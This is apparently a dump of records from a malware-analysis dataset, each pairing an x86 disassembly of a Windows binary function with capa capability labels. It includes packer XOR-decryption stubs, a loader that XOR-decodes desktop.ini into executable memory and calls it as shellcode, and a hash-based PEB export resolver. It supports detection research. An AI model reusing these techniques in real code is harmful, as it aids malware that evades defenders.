joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40ab9a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418b30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00408f88
mov dword [ebp - 0x14], eax
cmp dword [0x431f64], edi
jne 0x40ac8b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40ac18
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40ad6b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40ad6b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ad6b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x431f64], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x431f68], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x431f6c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x431f74], eax
test eax, eax
je 0x40ac88
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x431f70], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40acb0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40aca3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40acc5
push 4
pop eax
jmp 0x40ad6d
cmp dword [ebp - 0x14], edi
je 0x40acc5
push dword [0x431f64]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40acaa
mov eax, dword [0x431f70]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40ad23
cmp dword [0x431f74], esi
je 0x40ad23
push eax
call ebx
push dword [0x431f74]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40ad23
test eax, eax
je 0x40ad23
call ecx
test eax, eax
je 0x40ad18
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40ad18
test byte [ebp - 8], 1
jne 0x40ad23
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40ad53
mov eax, dword [0x431f68]
cmp eax, esi
je 0x40ad50
push eax
call ebx
test eax, eax
je 0x40ad50
call eax
mov edi, eax
test edi, edi
je 0x40ad50
mov eax, dword [0x431f6c]
cmp eax, esi
je 0x40ad50
push eax
call ebx
test eax, eax
je 0x40ad50
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x431f64]
call ebx
test eax, eax
je 0x40ad6b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40ad6d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad7c
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x408f6c
mov ecx, 0x17344ed
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x55361971
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x9da058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.009da1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9da07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9da06a
add dl, dl
jne 0x9da089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9da0dc
xor eax, eax
add dl, dl
jne 0x9da096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9da17d
add dl, dl
jne 0x9da0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9da0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9da0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9da0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9da0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9da075
mov eax, 1
add dl, dl
jne 0x9da0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9da0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9da0e1
sub eax, ebx
mov ebx, 1
jne 0x9da128
mov ecx, 1
add dl, dl
jne 0x9da10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9da119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9da105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9da075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9da13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9da14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9da136
cmp eax, 0x7d00
jae 0x9da16d
cmp eax, 0x500
jb 0x9da168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9da075
cmp eax, 0x7f
ja 0x9da170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9da075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9da19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9da075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x9ee740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9ee78c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9ee752
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9ee7f0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9ee842
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9ee848
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0xa06d37
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a069f7

Function at 0xa0bb31
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a0b9b0

Function at 0xa110e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa1110d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa1110d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..data
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x1aeb0502
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..text
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x628927bf
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406128
Capabilities:
Resolve function by parsing pe exports

Disassembly:
stc
xchg ecx, eax
inc edx
xchg ecx, eax
cmc
dec ecx
inc eax
salc
inc edx
xchg ecx, eax
das
nop
inc eax
inc ecx
aaa
wait
inc eax
inc edx
cwde
xchg edx, eax
lahf
dec ebx
nop
dec eax
clc
salc
xchg edx, eax
daa
cld
lahf
xchg ebx, eax
inc ebx
aaa
inc edx
std
salc
xchg edx, eax
dec ecx
inc eax
stc
nop
cwde
das
inc ebx
dec ebx
inc ecx
xchg edx, eax
cmc
xchg ecx, eax
daa
cmc
dec eax
cwde
dec eax
dec ecx
dec eax
cld
dec ecx
dec ebx
salc
dec eax
dec ebx
xchg ecx, eax
inc ecx
dec ebx
aas
nop
cmc
cdq
daa
xchg edx, eax
inc edx
wait
dec ebx
dec eax
clc
aaa
xchg edx, eax
daa
inc edx
dec edx
inc ecx
lahf
cdq
cmc
stc
xchg ebx, eax
inc edx
cdq
cmc
cld
wait
cmc
cwde
salc
cmc
jmp 0x405feb
jmp 0x405ffc
cld
jmp 0x406009
call 0x40637a
jmp 0x40601f
jmp 0x40602f
nop
pushal
jmp 0x40603b
mov ebp, esp
nop
xor edx, edx
jmp 0x406051
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
nop
jmp 0x406063
mov edx, dword [edx + 0x14]
nop
nop
jmp 0x406072
movzx ecx, word [edx + 0x26]
jmp 0x406084
mov esi, dword [edx + 0x28]
nop
jmp 0x406099
xor edi, edi
xor eax, eax
jmp 0x4060a9
lodsb al, byte [esi]
cmp al, 0x61
nop
jmp 0x4060bc
jl 0x4060ce
nop
jmp 0x4060cc
invalid
sub al, 0x20
nop
jmp 0x4060dd
ror edi, 0xd
add edi, eax
jmp 0x4060f2
dec ecx
jmp 0x406103
jne 0x40609b
nop
nop
jmp 0x406116
push edx
jmp 0x406123
mov edx, dword [edx + 0x10]
nop
mov eax, dword [edx + 0x3c]
inc edx
cmp al, 0xeb
invalid
add eax, edx
nop
jmp 0x406147
push edi
nop
mov eax, dword [eax + 0x78]
test eax, eax
nop
je 0x406340
add eax, edx
nop
mov ebx, dword [eax + 0x20]
nop
jmp 0x406169
push eax
nop
mov ecx, dword [eax + 0x18]
jmp 0x40617e
add ebx, edx
nop
jmp 0x406192
jmp 0x40619c
test ecx, ecx
nop
je 0x406330
nop
jmp 0x4061b5
nop
dec ecx
nop
jmp 0x4061c3
mov esi, dword [ebx + ecx*4]
nop
jmp 0x4061d7
add esi, edx
jmp 0x4061e6
xor edi, edi
jmp 0x4061f7
xor eax, eax
lodsb al, byte [esi]
jmp 0x40620b
ror edi, 0xd
jmp 0x40621a
add edi, eax
cmp al, ah
jmp 0x40622f
jne 0x4061f7
jmp 0x406246
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
nop
jmp 0x40625c
jne 0x406192
nop
jmp 0x406277
jmp 0x406288
pop eax
mov ebx, dword [eax + 0x24]
nop
add ebx, edx
nop
jmp 0x40629d
mov cx, word [ebx + ecx*2]
nop
mov ebx, dword [eax + 0x1c]
nop
add ebx, edx
jmp 0x4062b5
mov eax, dword [ebx + ecx*4]
nop
add eax, edx
jmp 0x4062c9
mov dword [esp + 0x24], eax
pop ebx
nop
pop ebx
nop
jmp 0x4062e4
popal
nop
pop ecx
nop
jmp 0x4062f6
pop edx
nop
jmp 0x406307
push ecx
jmp 0x40631b
jmp eax
nop
pop eax
jmp 0x406340
pop edi
nop
pop edx
jmp 0x406357
mov edx, dword [edx]
jmp 0x406366
jmp 0x406067
Function at 0x408c70
Capabilities:
Set socket configuration

Disassembly:
mov edi, dword es:[edx + 0xc5d8b53]
sub al, 0x94
jne 0x408cc0
push edi
je 0x408cfb
adc al, bh
mov ch, 5
invalid
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
mov eax, ecx
lea edx, [ebx + ecx*4]
dec esi
add al, 0x51
call fcn.00408af7
add esp, 4
test dword [edx + 0xc7850f], ebx
add byte [eax], al
xchg edi, eax
and ah, byte [eax]
cmp edx, ebx
jne 0x408cf0
mov eax, dword [esi - 0x7d]
push eax
invalid
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffbf
push 0x85e8
push ecx
push ebx
lea edi, [esi + 0x18]
call 0x410690
mov edx, dword [esi + 4]
mov ebx, dword [sym.imp.WSOCK32.dll_setsockopt]
add al, 0x57
push 0x881006
push 0xffff
push edx
mov dword [eax + 0x468bd3ff], ebp
add al, 0x6a
add al, 0x57
push 0x18001005
push 0x8cffff
push eax
call ebx
mov ebx, dword [edx]
adc byte [ebx + 0x7e350c75], cl
and al, 0xde
xor byte [eax], ah
push ebx
loop 0x408d4d
mov ch, 0x5b
pop ebp
ret 0xc
retf
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x47c15bec
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x45dc1894
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x402487
Capabilities:
Print debug messages

Disassembly:
jmp 0x4de67a
push esi
mov esi, ecx
call fcn.00408233
mov eax, 0x400000
mov dword [esi], 0x38
lea ecx, [esi + 0x14]
mov dword [esi + 8], eax
mov dword [esi + 4], eax
mov dword [esi + 0xc], 0xe00
mov dword [esi + 0x10], 0x5d0ba0
call fcn.00401299
test eax, eax
jns 0x4de6c9
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4de6c2
push str.ERROR_:_Unable_to_initialize_critical_section_in_CAtlBaseModule_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov byte [0x619530], 1
mov eax, esi
pop esi
ret

Function at 0x403896
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x59d9d0
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x61a098], 1
jge 0x59da3f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x59da15
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x59da15
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x59d9f2
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x59da2b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x59da32
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x59db2f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x59db00
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x59daf5
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x59dae9
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x59daf0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x59db2f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x59db2a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x59db13
mov eax, dword [ebx + 8]
jmp 0x59db2f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x59db21
xor eax, eax
jmp 0x59db2f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x59da5f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x407815
Capabilities:
Query environment variable

Disassembly:
jmp 0x588280
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x588294
xor edi, edi
jmp 0x5882d8
push ebx
push esi
call fcn.00588176
push 0x40
mov ebx, eax
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
sub ebx, esi
and ebx, 0xfffffffe
push 2
push ebx
call fcn.0040873d
mov edi, eax
add esp, 0x14
test edi, edi
je 0x5882c5
push ebx
push esi
push edi
call fcn.00407a81
add esp, 0xc
push 2
push 0
call fcn.0040953e
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret

Function at 0x42f720
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
lea edi, [ebp - 0x2c]
mov ecx, 0xb
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x614088]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
call fcn.0042f3b0
add esp, 8
lea edx, [ebp - 0x28]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call fcn.00402e8c
push eax
push 0x5b82e4
call fcn.00401a96
add esp, 8
push 1
call fcn.00407dce
add esp, 4
push eax
call fcn.00407996
add esp, 4
mov ecx, dword [ebp - 8]
call fcn.00402e8c
mov esi, esp
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00406e97
mov esi, esp
push 0x5b82e8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00406e97
lea ecx, [ebp - 0x28]
call fcn.00406546
push edx
mov ecx, ebp
push eax
lea edx, [0x42f7e0]
call fcn.0040728e
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406361
add esp, 0x2c
cmp ebp, esp
call fcn.00406e97
mov esp, ebp
pop ebp
ret
Function at 0x474880
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5aaff7
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x10
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x614088]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 8
call fcn.00408459
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0
je 0x4748e5
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x28]
call fcn.00465780
mov dword [ebp - 0x38], eax
jmp 0x4748ec
mov dword [ebp - 0x38], 0
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov esi, esp
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
push 0x478000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.00406e97
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0
cmp dword [ebp - 0x20], 0
je 0x474937
mov byte [ebp - 0x3d], 1
jmp 0x47493b
mov byte [ebp - 0x3d], 0
movzx eax, byte [ebp - 0x3d]
push eax
call fcn.0040a32b
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x474951
jmp 0x4749cd
push 0x5be08c
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00406e97
push eax
push str.CreateThread_failed_with_error
push str.Condition_thread_handle___NULL_failed.
push 0x163
push str.d:jenkinsworkspace_n_gtestandgmockgoogletest_srcgtest_port.cc
push 3
lea ecx, [ebp - 0x2c]
call fcn.004027e3
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x48], edx
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x48]
call fcn.0040600f
push eax
call fcn.00405afb
add esp, 8
push eax
call fcn.00405afb
add esp, 8
mov ecx, eax
call fcn.00402d79
push eax
call fcn.00405afb
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.004050e7
cmp dword [ebp - 0x20], 0
jne 0x4749fb
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], 0
je 0x4749f4
push 1
mov ecx, dword [ebp - 0x30]
call fcn.00473a80
mov dword [ebp - 0x4c], eax
